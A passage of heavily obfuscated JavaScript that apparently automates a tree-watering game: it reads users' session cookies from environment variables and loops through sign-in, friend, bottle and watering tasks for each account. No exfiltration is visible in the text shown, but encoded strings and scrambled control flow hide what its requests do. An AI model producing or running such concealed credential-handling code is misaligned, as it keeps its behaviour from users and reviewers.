_0x31308c),'\x0d\x0a');}}else cookies=process[_0x47482e(0xbc3,0x995,'\x49\x29\x49\x39',0x5f1,0xc5d)][_0x166057(0x441,0x3a,'\x64\x6f\x4e\x70',0x2f5,-0x283)+_0x166057(0xa75,0x1115,'\x58\x23\x51\x29',0x6d4,0x8b1)][_0x3472bb(0x8b2,0xc62,'\x5d\x79\x74\x33',0xba4,0xac3)]('\x26');}else{if(_0x4dc256[_0x47482e(0xabf,0xbbd,'\x30\x29\x35\x70',0x4d6,0x909)](_0x4dc256[_0x166057(0x5a4,0x90d,'\x23\x4b\x6e\x33',0xc18,0x7d6)],_0x4dc256[_0x2dcd23(0xc23,0x9e0,'\x6e\x76\x6d\x2a',0xb49,0x8c7)])){_0x1dd820++;if(_0x25e575[_0x166057(0x92a,0xa59,'\x56\x55\x65\x45',0x4b7,0x57c)][_0x3472bb(0xb63,0xa2,'\x41\x6e\x41\x53',0x6bf,0x4d2)+_0x307527('\x4f\x6f\x72\x35',0x65e,0xc13,0xbe0,0x900)]&&_0x384f7c[_0x2dcd23(0x6fa,0x137,'\x64\x6f\x4e\x70',0x79c,0x5fc)][_0x307527('\x56\x55\x65\x45',0x831,0x20e,0x851,0xc53)+_0x307527('\x6b\x72\x35\x76',0xeb4,0x6b7,0xd09,0x88d)][_0x2dcd23(0xc10,0x91c,'\x44\x5d\x71\x6c',0x906,0x99a)+_0x3472bb(-0x266,-0x3ff,'\x70\x4b\x21\x31',-0x1d5,0xdf)+_0x2dcd23(-0xca,-0x8e,'\x79\x45\x73\x4a',-0x6d3,0x99)][_0x307527('\x34\x4a\x59\x74',0xb72,0xaea,0x776,0xbef)+'\x74'])_0x68965f=_0x321d4b[_0x47482e(0x3b4,0x3d9,'\x46\x42\x49\x42',0x4d2,-0x6c)][_0x307527('\x45\x74\x4e\x68',0xa74,0x77c,0x8dd,0xc46)+_0x2dcd23(0x54f,0x3d8,'\x5d\x79\x74\x33',0x87d,0x83e)][_0x166057(-0x17d,-0x79f,'\x31\x71\x6b\x4a',-0xfd,-0x5ff)+_0x2dcd23(0x6a5,0x239,'\x6e\x53\x58\x24',0x309,-0x367)+_0x3472bb(-0x318,-0x1ef,'\x51\x50\x65\x2a',-0x472,-0x165)][_0x3472bb(0x2ba,0x1df,'\x67\x4d\x30\x75',0x84c,0x619)+'\x74'];_0x10e46d[_0x2dcd23(0x559,0x746,'\x6e\x46\x49\x33',0x973,0x707)](_0x4dc256[_0x307527('\x41\x6e\x41\x53',0xca0,0x166a,0x1195,0x17d2)](_0x4dc256[_0x166057(0x3f7,0x39f,'\x34\x4a\x59\x74',-0x1d5,-0x5a)](_0x4dc256[_0x307527('\x56\x55\x65\x45',0x168b,0x1219,0x11ea,0x10eb)](_0x4dc256[_0x307527('\x30\x29\x35\x70',0x1392,0x13ba,0xe87,0xbd6)](_0x4dc256[_0x3472bb(0x73c,0x595,'\x46\x42\x49\x42',0x43c,0x6f0)],_0x3f63d8),_0x4dc256[_0x307527('\x7a\x78\x28\x4e',0x13d4,0x8f8,0xf2f,0xeea)]),_0x5e4d42),_0x4dc256[_0x307527('\x31\x71\x6b\x4a',0xa56,0x11e2,0xb4b,0x54f)]));}else cookies=[process[_0x3472bb(-0x2,-0xc4,'\x55\x4e\x28\x56',0x136,0x6c)][_0x47482e(0x1149,0xd6f,'\x70\x4b\x21\x31',0xdf1,0x80a)+_0x307527('\x56\x6b\x71\x37',0x10e8,0xc4d,0xd59,0xcdb)]];}}}}else _0x36c792[_0x2dcd23(0xdf6,0xa19,'\x46\x42\x49\x42',0xd73,0x504)](_0x4dc256[_0x2dcd23(0x1ba,0x695,'\x43\x75\x73\x46',0x38f,0x4a)](_0x4dc256[_0x3472bb(0x20b,0xc9f,'\x4c\x34\x59\x31',0x932,0x61a)],_0x39b1ac)),_0x4dc256[_0x307527('\x24\x66\x56\x5d',0xa53,0x60e,0x692,0x2be)](_0x2f1036);};notify=_0x4dc256[_0x166057(-0x2e,-0x5b9,'\x6b\x72\x35\x76',0x28d,0x231)](require,_0x4dc256[_0x3472bb(0xa96,0x755,'\x41\x6e\x41\x53',0xe3a,0x898)]);}}else{if(_0x4dc256[_0x47482e(0x10b,-0x13e,'\x50\x5d\x49\x57',0x2ca,0x4eb)](_0x4dc256[_0x307527('\x64\x6f\x4e\x70',0xd99,0x61b,0xa72,0xa74)],_0x4dc256[_0x307527('\x6e\x46\x49\x33',0xe56,0x8a7,0xae9,0x7c6)])){let _0x382a94=$[_0x307527('\x30\x29\x35\x70',0xb86,0xb6a,0xf7f,0x1162)](_0x4dc256[_0x2dcd23(-0x22e,0x1c9,'\x4d\x58\x52\x4d',-0x494,0x665)]);!!_0x382a94&&(_0x4dc256[_0x307527('\x5b\x35\x69\x4f',0xbbe,0x131c,0xd76,0xe0c)](_0x4dc256[_0x47482e(-0x236,0x71c,'\x4f\x6f\x72\x35',0x27a,-0x9e)],_0x4dc256[_0x47482e(0xaa8,0xe6c,'\x73\x28\x4d\x75',0x944,0xb80)])?(_0x382a94=_0x382a94[_0x2dcd23(0x679,0x1f1,'\x54\x56\x24\x21',0x9f,-0x3da)+'\x63\x65'](/ /g,'')[_0x166057(0x607,0x68d,'\x44\x5d\x71\x6c',0x5f,0x681)+'\x63\x65'](/\r/g,'')[_0x307527('\x76\x74\x36\x39',0x338,0x8c4,0x895,0x51d)+'\x63\x65'](/\n/g,''),_0x4dc256[_0x3472bb(0x603,0x7e6,'\x79\x45\x73\x4a',0xd42,0x730)](_0x382a94[_0x307527('\x30\x31\x32\x62',0xe5c,0x1202,0xeef,0x856)+'\x4f\x66']('\x2c'),-(0x2a1*-0xd+-0x1396+0x4a*0xba))?_0x4dc256[_0x3472bb(0x2db,0x6c2,'\x50\x5d\x49\x57',-0x35d,0xa9)](_0x4dc256[_0x3472bb(0x1d,0x906,'\x4c\x28\x57\x30',0x71f,0x700)],_0x4dc256[_0x3472bb(0x680,-0x19,'\x45\x64\x30\x4a',0x529,0x4a4)])?(_0x462d45[_0x2dcd23(0xd84,0x9f7,'\x43\x75\x73\x46',0xb84,0x10d9)](_0x4dc256[_0x3472bb(0x9,-0x2d7,'\x21\x2a\x37\x57',-0x461,0x90)](_0x4dc256[_0x166057(0x9f4,0x4af,'\x58\x23\x51\x29',0x833,0xe2f)],_0x34ee9f)),_0x4dc256[_0x3472bb(0x517,0x319,'\x6e\x53\x58\x24',0x798,0x4e8)](_0x583524)):cookies=_0x382a94[_0x166057(0x839,0x515,'\x44\x5d\x71\x6c',0x41f,0x51b)]('\x2c'):_0x4dc256[_0x307527('\x70\x4b\x21\x31',0xa45,0x5d4,0xa8a,0xa63)](_0x4dc256[_0x47482e(0xb51,0xe5c,'\x4c\x34\x59\x31',0xac9,0x595)],_0x4dc256[_0x166057(-0xd1,-0x181,'\x44\x5d\x71\x6c',0x255,0x59b)])?_0xc6f663[_0x166057(0x30f,0x289,'\x54\x56\x24\x21',0x188,0x8b0)](_0x4dc256[_0x47482e(0xf38,0xe23,'\x56\x6b\x71\x37',0xc9c,0x10af)](_0x4dc256[_0x166057(-0x82,0x2e2,'\x64\x6f\x4e\x70',0x5f8,-0x231)](_0x4dc256[_0x307527('\x55\x4e\x28\x56',0x1717,0xa16,0x10ef,0xd38)],_0x4fb87f[_0x2dcd23(0x4a2,0x283,'\x44\x5d\x71\x6c',0x469,0x951)][_0x2dcd23(0x18,0x417,'\x58\x23\x51\x29',0x303,0xc5)+_0x307527('\x7a\x78\x28\x4e',0x5b9,0x781,0x72b,0xa95)+_0x307527('\x55\x4e\x28\x56',0xb8c,0x9d1,0xc26,0x1104)][_0x307527('\x4c\x28\x57\x30',0x3e1,0x497,0x6a0,0xa65)+_0x47482e(0x122d,0xaea,'\x5b\x35\x69\x4f',0xe12,0x14c9)][0x2171*0x1+-0x5*0x1ae+-0x190b][_0x307527('\x6c\x54\x48\x57',0x1347,0x827,0xe63,0x11e1)+'\x74']),'\x67')):cookies[_0x47482e(0x34f,0x772,'\x6b\x72\x35\x76',0x4e9,0x621)](_0x382a94)):_0x1b155f=[_0x366398[_0x47482e(0x303,0x719,'\x30\x31\x32\x62',0x35e,0x49b)][_0x3472bb(0x5ac,0x2e5,'\x24\x66\x56\x5d',0x459,-0xd)+_0x307527('\x41\x40\x62\x74',0xc9,0x26f,0x52c,0xb54)]]);}else _0x1e1b58[_0x47482e(0x124b,0x1119,'\x43\x75\x73\x46',0xd4d,0xdc4)](_0x4dc256[_0x3472bb(0x9e3,0x9cd,'\x4e\x74\x35\x73',0xf6e,0xa9c)](_0x4dc256[_0x3472bb(0xc4c,0x7ee,'\x6f\x65\x59\x78',0x37c,0x635)],_0x58c569)),_0x4dc256[_0x3472bb(0x9e6,0xd8c,'\x31\x71\x6b\x4a',0x3b0,0x800)](_0x335397,{});}function _0x47482e(_0x2b7216,_0x46650c,_0x24e65e,_0x418062,_0x5d5d41){return _0x4a4e(_0x418062-0x61,_0x24e65e);}function _0x3472bb(_0x2060ca,_0x249bf0,_0x475c28,_0x144f24,_0x2ebd79){return _0x4a4e(_0x2ebd79- -0x377,_0x475c28);}let _0x4388da=_0x4dc256[_0x2dcd23(0xbf8,0xc2d,'\x45\x55\x66\x55',0xd1d,0x5d2)](cookies[_0x2dcd23(0x638,0x20c,'\x4c\x34\x59\x31',0x755,0x765)+'\x68'],Math[_0x2dcd23(0xe0e,0x822,'\x4a\x55\x45\x71',0x23c,0x19e)](0x4f*0x4+-0x1*-0x1410+-0x4ef*0x4))?Math[_0x3472bb(0x4,0x48c,'\x44\x5d\x71\x6c',0x655,0x64c)](0x1*-0x1993+0x15be+0x565):cookies[_0x307527('\x34\x4a\x59\x74',0x14c1,0x15c2,0x1268,0x13b4)+'\x68'];function _0x307527(_0x411b3b,_0x500329,_0x9883d8,_0x6613ac,_0x45ee80){return _0x4a4e(_0x6613ac-0x390,_0x411b3b);}for(let _0x9c0ac9=-0x21f+0x24ff+-0x22e0;_0x4dc256[_0x166057(0x22,0x481,'\x45\x55\x66\x55',-0x30e,-0x2cd)](_0x9c0ac9,_0x4388da);_0x9c0ac9++){if(_0x4dc256[_0x47482e(0x638,0xf4d,'\x73\x28\x4d\x75',0xade,0x768)](_0x4dc256[_0x47482e(0xdbb,0xede,'\x6e\x76\x6d\x2a',0x88b,0xb77)],_0x4dc256[_0x166057(0x9c9,0x880,'\x4d\x58\x52\x4d',0xd6a,0xa73)])){console[_0x2dcd23(0x337,0x125,'\x21\x33\x39\x77',-0xa5,0x181)](_0x4dc256[_0x166057(-0xb9,-0x56e,'\x41\x40\x62\x74',-0x1b7,-0x5f8)](_0x4dc256[_0x3472bb(-0x1da,0x1,'\x64\x6f\x4e\x70',0x4a6,-0x187)](_0x4dc256[_0x3472bb(0xe3d,0xfe3,'\x21\x33\x39\x77',0x9f7,0xb50)](_0x4dc256[_0x307527('\x55\x4e\x28\x56',0x8c2,0x10b9,0xec8,0x1487)](_0x4dc256[_0x3472bb(0x37d,-0x25f,'\x41\x40\x62\x74',0x917,0x3b9)],_0x4dc256[_0x166057(0x4d0,0x333,'\x30\x29\x35\x70',0x7d8,0x9f7)](_0x9c0ac9,-0x47e+-0x727*-0x2+-0x9cf)),_0x4dc256[_0x3472bb(0xa12,0xa24,'\x24\x66\x56\x5d',0x1b3,0x6ce)]),cookies[_0x307527('\x73\x28\x4d\x75',0xcef,0x85e,0x85e,0x1a8)+'\x68']),_0x4dc256[_0x166057(0x445,0x118,'\x21\x6e\x65\x4c',0x869,0x958)])),(thisck=cookies[_0x9c0ac9],treeid='',inviteCode='',userid='',nickName='',helpStr='',waterCount=-0x9af*0x2+0x49*-0x2+-0x13f*-0x10);let _0x31ec46=thisck[_0x47482e(0x5e4,0x1137,'\x56\x6b\x71\x37',0xb89,0x10cd)]('\x3b'),_0x54e64b={};for(let _0x330e7c=-0x677+-0x11ba*0x1+0x1831;_0x4dc256[_0x166057(0x991,0x780,'\x5d\x79\x74\x33',0x948,0x7c9)](_0x330e7c,_0x31ec46[_0x307527('\x6e\x76\x6d\x2a',0x1d7,0x88b,0x577,0x8e)+'\x68']);_0x330e7c++){_0x4dc256[_0x307527('\x4c\x28\x57\x30',0xc09,0x88a,0x71c,0x87b)](_0x4dc256[_0x2dcd23(-0x57,-0x4a,'\x50\x5d\x49\x57',0x662,0x5c8)],_0x4dc256[_0x307527('\x6f\x65\x59\x78',0x142a,0xcbb,0x1172,0x1488)])?_0x54e64b[_0x31ec46[_0x330e7c][_0x3472bb(-0x396,0x71,'\x45\x74\x4e\x68',0x64c,0x233)]('\x3d')[-0x102c+-0xdb*0x27+-0x1083*-0x3][_0x166057(0x962,0xa13,'\x6e\x53\x58\x24',0x4bd,0x7dd)+'\x63\x65'](/ /g,'')]=_0x31ec46[_0x330e7c][_0x2dcd23(0x73d,0xc3f,'\x4e\x74\x35\x73',0x1268,0xf9e)]('\x3d')[0x125+0x1ec+-0x1*0x310]:(_0x257219=_0x2c7899[_0x307527('\x5b\x35\x69\x4f',0xb2c,0x678,0x8b2,0x253)+'\x63\x65'](/ /g,'')[_0x2dcd23(-0x175,0x438,'\x58\x23\x51\x29',0x6bb,0x94)+'\x63\x65'](/\r/g,'')[_0x166057(0x413,0x701,'\x67\x4d\x30\x75',0x6f9,0x7c9)+'\x63\x65'](/\n/g,''),_0x4dc256[_0x2dcd23(0x6c0,0x660,'\x41\x40\x62\x74',0xa2e,0x1c7)](_0x3c8329[_0x3472bb(0x23d,0x2b,'\x54\x56\x24\x21',0x417,0x48e)+'\x4f\x66']('\x2c'),-(-0x2236+-0x2a3+0x24da))?_0x130d7d=_0x4cc65c[_0x47482e(0x95e,0xa7c,'\x54\x56\x24\x21',0x3e1,-0x2bf)]('\x2c'):_0x70a567[_0x3472bb(0x5d7,0x5d9,'\x46\x42\x49\x42',0x1023,0x962)](_0x396f1e));}if(!_0x54e64b[_0x307527('\x64\x6f\x4e\x70',0x105c,0x50c,0xa6f,0xdd8)]||!_0x54e64b['\x75\x64']||!_0x54e64b[_0x4dc256[_0x307527('\x56\x6b\x71\x37',0xc2a,0x968,0xfb5,0x1154)]]||!_0x54e64b[_0x4dc256[_0x3472bb(-0xf2,-0x6e9,'\x24\x4b\x72\x6d',0x183,-0x56)]]||!_0x54e64b[_0x4dc256[_0x47482e(0x717,0xde1,'\x6e\x76\x6d\x2a',0xb47,0xb66)]]){if(_0x4dc256[_0x3472bb(-0x1f7,0x1a2,'\x55\x4e\x28\x56',0x170,0x311)](_0x4dc256[_0x166057(0x9e5,0xbf7,'\x41\x40\x62\x74',0xd91,0x98a)],_0x4dc256[_0x3472bb(0x185,-0x1c2,'\x6e\x53\x58\x24',0x46d,0x4b6)])){console[_0x3472bb(0x816,0x27e,'\x4a\x55\x45\x71',0x9ee,0x84e)](_0x4dc256[_0x3472bb(-0x174,0xad3,'\x6f\x65\x59\x78',0x859,0x413)](_0x4dc256[_0x307527('\x45\x55\x66\x55',0xe69,0xccc,0xb79,0x7c5)](_0x4dc256[_0x2dcd23(0x170,0x72e,'\x30\x31\x32\x62',0x730,0x297)],_0x4dc256[_0x307527('\x6e\x53\x58\x24',-0x13f,0x3e1,0x55b,0xb08)](_0x9c0ac9,-0x14da+-0x456+0x1931)),_0x4dc256[_0x47482e(0xdb4,0x12bc,'\x6f\x65\x59\x78',0xbe0,0x7e2)])),$[_0x2dcd23(-0x160,-0x33,'\x7a\x78\x28\x4e',-0x27c,-0x207)+'\x79'](_0x4dc256[_0x3472bb(-0x439,-0x32e,'\x23\x4b\x6e\x33',0x23d,-0x13e)],'',_0x4dc256[_0x47482e(0x1310,0x1053,'\x4c\x34\x59\x31',0xe35,0xa55)](_0x4dc256[_0x166057(0x7dd,0xb49,'\x4d\x58\x52\x4d',0x882,0x4ec)]('\u7b2c',_0x4dc256[_0x2dcd23(0x576,0x6ad,'\x5d\x5b\x48\x44',0xc27,0xb20)](_0x9c0ac9,0x1ad8+0x1*-0x863+0x1274*-0x1)),_0x4dc256[_0x166057(-0x137,-0x1e2,'\x4d\x58\x52\x4d',0x2eb,0x33f)]));if($[_0x2dcd23(0x393,0xbe,'\x76\x74\x36\x39',0x54d,-0x27c)][_0x47482e(0x70e,0x1191,'\x64\x6f\x4e\x70',0xd35,0x868)+'\x65'])await notify[_0x3472bb(0x942,0xc60,'\x6f\x65\x59\x78',0xb3a,0x8a4)+_0x47482e(0x5f6,0x1093,'\x21\x33\x39\x77',0xc5b,0x68d)](_0x4dc256[_0x3472bb(0x2ad,-0x6f6,'\x24\x4b\x72\x6d',0x392,-0x20b)],_0x4dc256[_0x3472bb(0x185,-0x1f2,'\x76\x74\x36\x39',0x488,-0x3a)](_0x4dc256[_0x47482e(0x30d,0x44e,'\x6e\x53\x58\x24',0x22c,0x2b3)]('\u7b2c',_0x4dc256[_0x3472bb(0x943,0x65,'\x79\x45\x73\x4a',-0x29,0x2b2)](_0x9c0ac9,0x108a+-0x1dc1*-0x1+-0x19*0x1da)),_0x4dc256[_0x3472bb(0xa71,0x25e,'\x76\x74\x36\x39',0x75b,0x39d)]));continue;}else{if(_0x4dc256[_0x2dcd23(-0xe3,-0x106,'\x58\x23\x51\x29',0x515,0x28b)](_0x5bf12d[_0x307527('\x70\x4b\x21\x31',0xe8c,0xb87,0xca3,0x11ad)][_0x47482e(0x85f,0x11d1,'\x6e\x53\x58\x24',0xe39,0xf6f)+_0x2dcd23(-0x382,-0xc8,'\x6f\x65\x59\x78',-0xef,-0xb)+_0x47482e(0x1527,0x1156,'\x21\x2a\x37\x57',0xf1c,0x88c)][_0x47482e(0x2e,0x716,'\x4f\x6f\x72\x35',0x232,0x380)+'\x68'],-0x1017+0x1f99*0x1+-0xf82))_0x20aa85=_0x504d65[_0x47482e(0x8d2,0x13be,'\x6f\x65\x59\x78',0xd81,0x12b5)][_0x307527('\x5d\x6e\x6c\x64',0x5d2,0xed8,0x924,0xae2)+_0x47482e(0x86f,0x3e4,'\x41\x40\x62\x74',0x9ae,0x822)+_0x307527('\x4a\x55\x45\x71',0x978,0x7de,0xc76,0x118f)][-0x21af*-0x1+0x783+-0x1*0x2932][_0x307527('\x6b\x72\x35\x76',0xe54,0x632,0xa9a,0xeb4)][0x1afe+-0xb67*0x3+-0x1*-0x737],_0x420bf9[_0x3472bb(-0xf5,-0xf6,'\x34\x4a\x59\x74',-0x558,-0x5f)](_0x4dc256[_0x307527('\x79\x45\x73\x4a',0x175e,0xc41,0x121f,0x15f1)](_0x4dc256[_0x2dcd23(0x6c,-0x125,'\x21\x6e\x65\x4c',-0x114,-0x473)],_0x507bb9));else _0x3af0f0[_0x3472bb(0x6b5,0xae2,'\x6e\x53\x58\x24',0xbb2,0x52a)](_0x4dc256[_0x166057(-0x1f3,-0x524,'\x73\x28\x4d\x75',0x2cc,-0x67e)]);}}let _0x16a16c=await _0x4dc256[_0x166057(0x26e,0x14,'\x44\x5d\x71\x6c',0x6dd,0x8)](queryNickName);if(_0x4dc256[_0x47482e(0x152,0x480,'\x76\x74\x36\x39',0x530,0x3f7)](_0x16a16c[_0x307527('\x41\x40\x62\x74',0x491,0xaba,0x985,0x6d8)+'\x74'],0x2288+-0x1fae*-0x1+-0x11*0x3e5))_0x4dc256[_0x166057(-0xef,0x2cc,'\x64\x6f\x4e\x70',0x31a,0x3d0)](_0x4dc256[_0x2dcd23(0xa30,0x622,'\x45\x64\x30\x4a',0x18,0x1c4)],_0x4dc256[_0x2dcd23(0x1c2,-0xec,'\x64\x6f\x4e\x70',0x123,-0x56f)])?_0x40bec1=_0x4f2048[_0x166057(-0x49,-0x582,'\x46\x42\x49\x42',0x412,-0x281)][_0x2dcd23(0x307,-0x17d,'\x45\x55\x66\x55',-0x646,0x491)+_0x166057(0x5d1,0x543,'\x30\x31\x32\x62',0xa43,0x2)][_0x47482e(-0x16f,0x1e4,'\x6b\x72\x35\x76',0x375,0x437)]('\x2c'):(nickName=_0x16a16c[_0x2dcd23(0x34d,-0x70,'\x41\x40\x62\x74',0x3f7,-0x38d)][_0x47482e(0xe4c,0xa98,'\x55\x4e\x28\x56',0xa21,0xbbb)+_0x2dcd23(0x65e,0x9ec,'\x43\x75\x73\x46',0x658,0x6f6)][_0x166057(0x16d,0x415,'\x45\x64\x30\x4a',0x3c1,-0x54f)+_0x2dcd23(0x96f,0x319,'\x21\x33\x39\x77',0x18,-0x44)],console[_0x2dcd23(0x77d,0x617,'\x4d\x58\x52\x4d',0x157,0x45d)](_0x4dc256[_0x3472bb(-0x11c,0x78d,'\x21\x6e\x65\x4c',0x380,0x51a)](_0x4dc256[_0x307527('\x45\x74\x4e\x68',0x344,0xa20,0x86a,0x7df)](_0x4dc256[_0x47482e(0x500,0xeaa,'\x34\x4a\x59\x74',0xb35,0x6b0)],nickName),_0x4dc256[_0x307527('\x54\x56\x24\x21',0x13ec,0x13c4,0xdeb,0xe44)])));else{}await _0x4dc256[_0x166057(0x54b,0x621,'\x6f\x65\x59\x78',0x775,-0x139)](queryHelpInfo),await $[_0x3472bb(0xb7a,0xa53,'\x45\x55\x66\x55',0x7dc,0x8c2)](0xb44+-0x2505+0x3*0x9e3),await _0x4dc256[_0x3472bb(0x563,0x3ea,'\x41\x6e\x41\x53',0x76f,0xa98)](treeInfo,_0x9c0ac9,0x1389+-0xc1*-0x2f+-0x36f8),await $[_0x47482e(0x6ae,0x846,'\x64\x6f\x4e\x70',0x34e,0x6bb)](0x20a+-0x14ef+0xd*0x1c1),await _0x4dc256[_0x307527('\x73\x28\x4d\x75',0x6a6,0xbcd,0x53a,0x1c1)](queryUserid),await $[_0x3472bb(0x1153,0xc11,'\x6e\x76\x6d\x2a',0x526,0xb77)](-0x1228+-0x1*-0xd48+0x8c8),await _0x4dc256[_0x2dcd23(0x1076,0x9b9,'\x6b\x72\x35\x76',0xaff,0x78a)](sign),await $[_0x47482e(0x8e8,0x12b,'\x4c\x28\x57\x30',0x642,0x313)](-0xd9c*-0x2+0x2de+-0x1a2e*0x1),await _0x4dc256[_0x166057(-0x1e4,-0x158,'\x6b\x72\x35\x76',0x132,0x261)](sign7),await $[_0x307527('\x5d\x6e\x6c\x64',0xdc0,0x3ab,0x8d5,0x8a7)](-0x180b+-0x2f*0x6b+0x2f98),await _0x4dc256[_0x166057(-0x6c,-0x102,'\x31\x71\x6b\x4a',-0x29b,-0x7f)](myFriends),await $[_0x47482e(0x658,-0x2cd,'\x64\x6f\x4e\x70',0x34e,-0x6c)](0x193d+0x223*-0x3+-0x3bb*0x4),await _0x4dc256[_0x3472bb(0x1e2,0xc07,'\x45\x74\x4e\x68',0x286,0x83a)](recycleBottle),await $[_0x3472bb(0x5fa,0xe32,'\x31\x71\x6b\x4a',0x2c5,0x804)](0x5ee+-0x8e7+0x6e1),await _0x4dc256[_0x307527('\x50\x5d\x49\x57',0xea7,0xfee,0x1239,0x118e)](threeWater),await $[_0x166057(0x174,-0x14f,'\x56\x55\x65\x45',-0x563,0x472)](-0x1*-0x185f+0x4*-0x3d7+0x51b*-0x1);let _0x11e905=await _0x4dc256[_0x307527('\x6e\x76\x6d\x2a',0xca9,0xe70,0xb4e,0x5c8)](waterTaskList);if(_0x4dc256[_0x166057(0x9c,-0x1da,'\x30\x31\x32\x62',0x42c,-0x2dd)](_0x11e905[_0x307527('\x5b\x35\x69\x4f',0x9ff,0x3d4,0x7b2,0xe4)+'\x74'],0xfcc+-0x99+-0xf32)){if(_0x4dc256[_0x3472bb(0xc9,0x1f1,'\x23\x4b\x6e\x33',0x63e,-0x9f)](_0x4dc256[_0x307527('\x34\x4a\x59\x74',0x1138,0xb0c,0xcdc,0xf99)],_0x4dc256[_0x307527('\x30\x29\x35\x70',0x11a,0xa09,0x69e,0x521)]))for(let _0x578542=-0x5*0x9d+-0x506+0x13*0x6d;_0x4dc256[_0x166057(0x759,0xb65,'\x21\x33\x39\x77',0xcd6,0x271)](_0x578542,_0x11e905[_0x47482e(-0x87,0x5f0,'\x49\x29\x49\x39',0x45b,0x41d)][_0x166057(0x3e5,0x42b,'\x70\x4b\x21\x31',-0x18d,0x53)+_0x166057(0xb3e,0x61c,'\x24\x66\x56\x5d',0xce0,0xcc3)+'\x6f'][_0x3472bb(0x8bd,0x67b,'\x23\x4b\x6e\x33',0xa6e,0xae1)+'\x68']);_0x578542++){if(_0x4dc256[_0x166057(0x778,0x6c7,'\x64\x6f\x4e\x70',0xd36,0x13c)](_0x4dc256[_0x166057(0x64b,0xb39,'\x43\x75\x73\x46',-0x72,-0x75)],_0x4dc256[_0x47482e(0x105f,0xe6a,'\x41\x40\x62\x74',0xc5e,0x1102)])){let _0x25eaa5=_0x11e905[_0x47482e(0x6b0,0x4b0,'\x43\x75\x73\x46',0x628,0x83e)][_0x2dcd23(0x4a2,0x5aa,'\x6e\x53\x58\x24',0x82d,0x17c)+_0x47482e(0x120d,0x13d3,'\x4d\x58\x52\x4d',0xd59,0x787)+'\x6f'][_0x578542];if(_0x4dc256[_0x307527('\x46\x42\x49\x42',0x86b,0xdaf,0xd87,0x1047)](_0x25eaa5[_0x166057(-0x19e,0x41c,'\x46\x42\x49\x42',-0x225,-0x847)+_0x3472bb(0xd5c,0xd25,'\x70\x4b\x21\x31',0x9e4,0xa33)+_0x3472bb(-0x3b6,-0x53f,'\x43\x75\x73\x46',0x5ba,0x10a)],_0x4dc256[_0x2dcd23(-0x24a,-0x32,'\x45\x74\x4e\x68',-0x6bd,-0x18b)])){if(_0x4dc256[_0x166057(0x940,0xad7,'\x79\x45\x73\x4a',0x5d2,0x437)](_0x4dc256[_0x3472bb(0x119,0x486,'\x41\x40\x62\x74',0x6d4,0x126)],_0x4dc256[_0x166057(-0xbb,0x13e,'\x5b\x35\x69\x4f',0x83,-0x699)])){let _0x3b5c75=_0x4a4a6c[_0x3472bb(0xbf8,0x7e9,'\x6e\x53\x58\x24',0x498,0xab1)](_0x273165[_0x3472bb(-0x44f,-0x259,'\x44\x5d\x71\x6c',-0x169,-0x84)]);if(_0x4dc256[_0x47482e(0x4cb,-0x2b3,'\x4c\x34\x59\x31',0x298,0x683)](_0x3b5c75[_0x166057(0x600,0x607,'\x58\x23\x51\x29',0xca8,0x9cc)+'\x74'],-0x2*0xaae+-0x2*0x85c+0x2615))_0x4768e5=_0x3b5c75[_0x3472bb(-0x48,0x9e,'\x5b\x35\x69\x4f',0xb1,0x36a)][_0x307527('\x56\x6b\x71\x37',0x12c9,0x1050,0x12c7,0xf4d)+_0x166057(0x388,0x880,'\x31\x71\x6b\x4a',0xa4,0x72)];_0x4dc256[_0x166057(0xa81,0xf39,'\x43\x75\x73\x46',0xb6f,0x413)](_0x3fe183);}else{if(_0x4dc256[_0x2dcd23(0xc9a,0xa4d,'\x64\x6f\x4e\x70',0x842,0xc69)](_0x25eaa5[_0x2dcd23(-0x325,0x3f,'\x31\x71\x6b\x4a',0x5b0,0x677)+'\x64'],'\x32\x32')){if(_0x4dc256[_0x2dcd23(0x957,0x4a2,'\x76\x74\x36\x39',0x102,0x500)](_0x4dc256[_0x307527('\x79\x45\x73\x4a',0xaad,0xf54,0xfd8,0xab8)],_0x4dc256[_0x307527('\x4e\x74\x35\x73',0x17e8,0x17d8,0x1173,0xca8)])){_0xf28c37++;if(_0x4b068f[_0x307527('\x24\x4b\x72\x6d',0x8fc,0xbcd,0xb5f,0x91a)][_0x166057(0x836,0x773,'\x4e\x74\x35\x73',0xba1,0xb7f)+_0x47482e(0x324,0x1f0,'\x4a\x55\x45\x71',0x572,0x3f)]&&_0x3efbb2[_0x3472bb(0x6c,-0x409,'\x46\x42\x49\x42',0x58d,0xfa)][_0x2dcd23(0x55,0x258,'\x45\x74\x4e\x68',0x878,0x2dd)+_0x47482e(0x856,0x8a2,'\x45\x74\x4e\x68',0xd0e,0xc6b)][_0x47482e(0x1439,0x13df,'\x31\x71\x6b\x4a',0xf22,0xace)+_0x3472bb(0x71d,0x625,'\x54\x56\x24\x21',0x708,0x8de)+_0x2dcd23(0x1032,0x9b8,'\x45\x74\x4e\x68',0x343,0x47d)][_0x166057(0x192,0x19,'\x4d\x58\x52\x4d',0x6bc,-0x11f)+'\x74'])_0x4cce89=_0x2d3059[_0x2dcd23(0x458,0x68e,'\x6b\x72\x35\x76',0x5c3,0x307)][_0x47482e(0xb79,0x5f0,'\x67\x4d\x30\x75',0x573,0xbaf)+_0x3472bb(0x32f,-0x141,'\x21\x6e\x65\x4c',0x695,0x28a)][_0x3472bb(0x5dc,0xb8a,'\x6b\x72\x35\x76',0x9b2,0x6d0)+_0x47482e(0x455,0xa4c,'\x23\x4b\x6e\x33',0x8e2,0x722)+_0x3472bb(-0x5f1,-0x7d3,'\x67\x4d\x30\x75',0x15b,-0x1bb)][_0x166057(0x39,0x268,'\x34\x4a\x59\x74',0x128,-0x23e)+'\x74'];_0x148ebf[_0x3472bb(0xc,0x195,'\x45\x74\x4e\x68',0x3e2,-0xc7)](_0x4dc256[_0x166057(0x306,0x5d9,'\x79\x45\x73\x4a',0x442,0x17a)](_0x4dc256[_0x3472bb(0xe0d,0x537,'\x45\x74\x4e\x68',0xf11,0x8e9)](_0x4dc256[_0x2dcd23(-0x440,-0x115,'\x43\x75\x73\x46',0x26d,0x2b8)](_0x4dc256[_0x3472bb(-0x2ee,-0x4b6,'\x5d\x79\x74\x33',-0x554,-0xad)](_0x4dc256[_0x47482e(0xec,0x89c,'\x54\x56\x24\x21',0x6cf,0x75e)],_0x518bd2),_0x4dc256[_0x3472bb(0xcb0,0x567,'\x7a\x78\x28\x4e',0x385,0x828)]),_0xa6134d),_0x4dc256[_0x47482e(0x314,0xa4e,'\x54\x56\x24\x21',0x42e,-0x1c1)]));}else await _0x4dc256[_0x307527('\x6e\x46\x49\x33',0xea0,0x97b,0x9f4,0x68e)](helpWatering),await 